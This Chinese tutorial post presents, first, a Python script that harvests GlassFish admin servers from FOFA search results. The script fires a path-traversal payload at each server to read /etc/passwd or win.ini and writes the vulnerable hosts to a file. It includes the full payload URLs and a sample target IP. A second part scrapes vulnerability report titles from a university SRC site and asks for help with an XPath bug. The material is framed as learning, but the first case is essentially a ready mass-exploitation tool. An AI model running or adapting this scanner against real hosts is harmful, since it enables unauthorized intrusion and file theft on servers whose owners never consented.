目录

涉及技术

学习目的

案例一:某漏洞POC验证批量脚本

漏洞信息

编写思路

实现功能

实现思路

 注意事项

涉及知识点

实现代码

案例二:教育 SRC 报告平台信息提取脚本


此后如竟没有炬火,我便是唯一的光。

涉及技术

  1. request爬虫技术
  2. LXML数据提取技术
  3. 异常处理
  4. fofa使用说明

学习目的

掌握和利用公开或者0day漏洞进行批量化的收集和验证脚本开发

案例一:某漏洞POC验证批量脚本

漏洞信息

漏洞名称:应用服务器 glassfish 任意文件读取漏洞

漏洞POC:

http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

注意:Linux读取的文件是/etc/passwd文件,而windows读取的是windows的文件,例如windows/win.ini文件

编写思路

实现功能

批量的验证是否存在glassfish任意文件读取漏洞

实现思路

  1. 首先要筛选出glassfish的服务器的IP地址,具体实现:通过fofa搜索。搜索的语句为"glassfish" && port="4848";之后通过爬虫fofa搜索的全部结果;最后通过lxml库提取出爬取到的内容中的地址信息。
  2. 批量的验证存在glassfish的地址是否存在任意文件读取漏洞,对应的POC分别是上面给出的漏洞POC,分别对应着linux,和windows,通过request发起的get请求,根据请求的响应状态码来判断是否存在响应的漏洞;

 注意事项

  1. 首先,在判断的时候(读取文件的时候)linux和windows下的文件是不一样的
  2. 爬虫爬取fofa的输出结果编码成utf-8,更方便观察
  3. 爬取fofa后面的内容的时候,需要将登录的cookie信息放入请求头中,cookie从浏览器中获取即可;

涉及知识点

requests模块

request支持http连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码;使用requsets可以完成浏览器可有的任何操作。

r.status_code                #获取响应状态码

r.url                        #获取url

r.content                        #获取内容以二进制文本显示

r.text                        #获取到的内容以text文本形式显示

r.request.headers                #请求头的信息

r.headers                        #响应头的信息

r.cookies                        #获取cookie信息

文件读取

在文件读取的操作中,涉及到的模式有三种,分别对应着参数w,x,a;

w:写入模式,如果文件已经存在,清空文件内容,如果文件不存在,创建文件;

x:写入模式,如果文件已经存在,抛出异常。如果文件不存在,创建文件并写入内容;

a:追加模式,不覆盖文件中的原始内容

实现代码

import sys
import time
from lxml import etree
import request
import base64
import requests
'''
url = 'http://177.20.192.18:4848/'
#linux
payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'

#windows
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

result_linux = requests.get(url+payload_linux)
result_windows = requests.get(url+payload_windows)

#返回的是请求之后的状态码
result_linux_status = result_linux.status_code
result_windows_status = result_windows.status_code

if result_linux_status==200 or result_windows_status==200:
    print('存在Glassfish漏洞')
else:
    print('不存在Glassfish漏洞')
'''
#如何实现批量化的漏洞的检测
'''
    1. 首先获取到可能存在漏洞的地址信息,借助FOFA进行获取目标
    2. 将请求的数据进行筛选
    3. 批量请求地址信息看漏洞是否存在-单线程和多线程
'''

    #payload = '"glassfish" && port="4848"'
def fofa_search(search_data,page):
    headers = {
        'cookie':'_fofapro_ars_session=自己的fofa的cookie'
    }
    for req_page in range(1,page+1):
        url = 'https://fofa.info/result?'+'page='+str(req_page)+'qbase64='
        payload = str(base64.b64encode(payload.encode('utf-8')).decode('utf-8'))
    #print(payload)
        url = url+payload
    #print(url)
        try:
            print('正在提取第'+str(req_page)+'页')
            get_result = requests.get(url,headers=headers).content
            #print(get_result.decode('utf-8'))
            soup = etree.HTML(get_result)
            ip_data = soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')
            ipdata = '\n'.join(ip_data)
            print(ip_data)
            with open(r'ip.txt','a+') as f:
                f.write(ipdata+'\n')
                f.close()
            time.sleep(0.5)
        except Exception as e:
            pass


def check_vuln():
    # linux
    payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'

    # windows
    payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    for ip in open('ip.txt存放的路径'):
        ip.replace('\n','')
        windows_url = ip+payload_windows
        linux_url = ip+payload_linux
        try:
            vuln_code_linux = requests.get(linux_url).status_code
            vuln_code_windows = requests.get(windows_url).status_code
            print('check  ---->  '+ip)
            if vuln_code_windows ==200 or vuln_code_linux == 200:
                with open(r'vuln.txt','a+') as f:
                    f.write(ip+'\n')
                    f.close()
            time.sleep(0.5)
        except Exception as e:
            pass



if __name__ == '__main__':
    search = sys.argv[1]
    page = sys.argv[2]
    fofa_search(search,int(page))
    check_vuln()

案例二:教育 SRC 报告平台信息提取脚本

使用爬虫爬取页面信息,通过lxml提取漏洞信息,读取n页的漏洞信息

这里本人在学习的时候,遇到了一个问题,没有解决掉。先上代码:

import requests
from lxml import etree



def src_info(want_page):
    for page in range(1,int(want_page)+1):
        url = 'https://src.sjtu.edu.cn/list/?page='+str(page)

        result = requests.get(url).content
        #print(result.decode('utf-8'))
        soup = etree.HTML(result)
        src_info = soup.xpath('//td/a/text()')
        results = '\n'.join(src_info)
        results = results.split()
        print(results)
        for edu in results:
            with open(r'src_edu.txt','a+',encoding='utf-8') as f:
                f.write(edu+'\n')
                f.close()


if __name__ =='__main__':
    src_info(10)

这是学习后写出来的代码,本人遇到的问题是:在使用lxml去提取信息的时候呢,提取到了不需要的信息。

python3 window 防火墙设置_网络安全

如上图所示,在提取到的信息中存在着作者的昵称等信息,我知道自己错误的地方在哪里,但是不知道如何去修改。应该改正的地方是  src_info = soup.xpath('//td/a/text()') 

python3 window 防火墙设置_python_02

所以应该修改的地方是//td的值,可是td的值为空,所以不知道如何修改,百度之后,发现了其实可以用contains函数,我便将我的代码修改成了src_info = soup.xpath('//td/a[contains(@herf,"/post")]/text()') 还是不正确,恳请知道的大佬指点一下。

最终实现的结果如下,可以说是提取出来了,但是没完全提取出来 :)

python3 window 防火墙设置_学习_03